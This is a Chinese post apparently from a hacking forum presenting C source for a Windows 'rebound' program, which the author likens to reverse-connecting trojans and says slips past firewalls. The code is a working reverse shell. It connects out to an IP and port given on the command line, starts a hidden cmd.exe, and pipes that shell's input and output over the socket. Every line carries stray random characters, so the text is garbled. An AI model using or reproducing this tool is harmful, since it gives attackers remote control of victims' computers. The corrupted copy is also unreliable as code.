这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \r&(l1R
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/* ============================== *bi;mQ
Rebound port in Windows NT >~T2MlRux
By wind,2006/7 mEV@~){
===============================*/ /qd~|[Kx:
#include }/7rA)_
#include AQ,%5MeqJ
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#pragma comment(lib,"wsock32.lib") nB%[\LtZ?
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void OutputShell(); 7#9fcfL
SOCKET sClient; \%.&$z3wz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w5a;ts_x
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void main(int argc,char **argv) (z%OK[
{ et`rPK~m
WSADATA stWsaData; ,*;g+[Bhpl
int nRet; a,[NcdG
SOCKADDR_IN stSaiClient,stSaiServer; =n MAw&`
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if(argc != 3) <J^94-[CF
{ A*? Qm
printf("Useage:\n\rRebound DestIP DestPort\n"); [<#`@Kr
return; Bv}nG|
} 5K$d4KT
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4pFoSs?\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }/F9(m
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stSaiClient.sin_family = AF_INET; d?=r:TBU
stSaiClient.sin_port = htons(0); \2)~dV:6+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N1'$;9 c
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4% 2MY\
{ $(pVE}J
printf("Bind Socket Failed!\n"); E)(Rhvij
return; / U"3LX
} /3d6Og
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stSaiServer.sin_family = AF_INET; bcFZ ~B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DgC;1U'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o1u?H4z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6>/g`%`N
{ RMBPm*H
printf("Connect Error!"); ,+E"s3NW
return; !a9/8U_>XF
} rs:a^W5t
OutputShell(); R"[U<^
} %ZJ;>a#
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void OutputShell() &e1(| qax
{ |ea}+N
char szBuff[1024]; xX{gm'3UYa
SECURITY_ATTRIBUTES stSecurityAttributes; ^es/xt
OSVERSIONINFO stOsversionInfo; X##hSGQM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?-9It|R
STARTUPINFO stStartupInfo; ,{{Z) "qaH
char *szShell; PkxhR;4
PROCESS_INFORMATION stProcessInformation; vrvOPLiQ
unsigned long lBytesRead; zX ?@[OT
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tD\%SiTg=b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $${9 %qPzb
stSecurityAttributes.lpSecurityDescriptor = 0; GJ4R f%
stSecurityAttributes.bInheritHandle = TRUE; SpiI9)gp
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MLn \b0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7.`:Z_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ![4<6/2gy
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ([L5i&DT
stStartupInfo.wShowWindow = SW_HIDE; OMVK\_oXo
stStartupInfo.hStdInput = hReadPipe; QAmb_:^"d
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D "9Hv3
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GetVersionEx(&stOsversionInfo); .YcI .
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switch(stOsversionInfo.dwPlatformId) 1dahVc1W
{ ([a[fi
case 1: ;OynkZs)
szShell = "command.com"; V[T`I a\
break; `8rInfV
default: YFY$iN~B,
szShell = "cmd.exe"; |T@\-8Ok
break; F}0QocD
} 2 *n2!7jZ*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8o -?Y.2
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send(sClient,szMsg,77,0); kUP[&/Lc
while(1) CSr{MF`]e
{ Lom%eoH)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^l$(- #'y
if(lBytesRead) <$?:|
{ !Q.c8GRUQ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m*i~Vjxj-m
send(sClient,szBuff,lBytesRead,0); ?b#?Vz
} '0t j2
else *N>Qj-KAM_
{ wW%I < M
lBytesRead=recv(sClient,szBuff,1024,0); iS=T/<|?
if(lBytesRead<=0) break; Efp=z=E
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v~jN,f*
} cYbO)?mC_
} l$zNsf.
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return; N23s{S t
}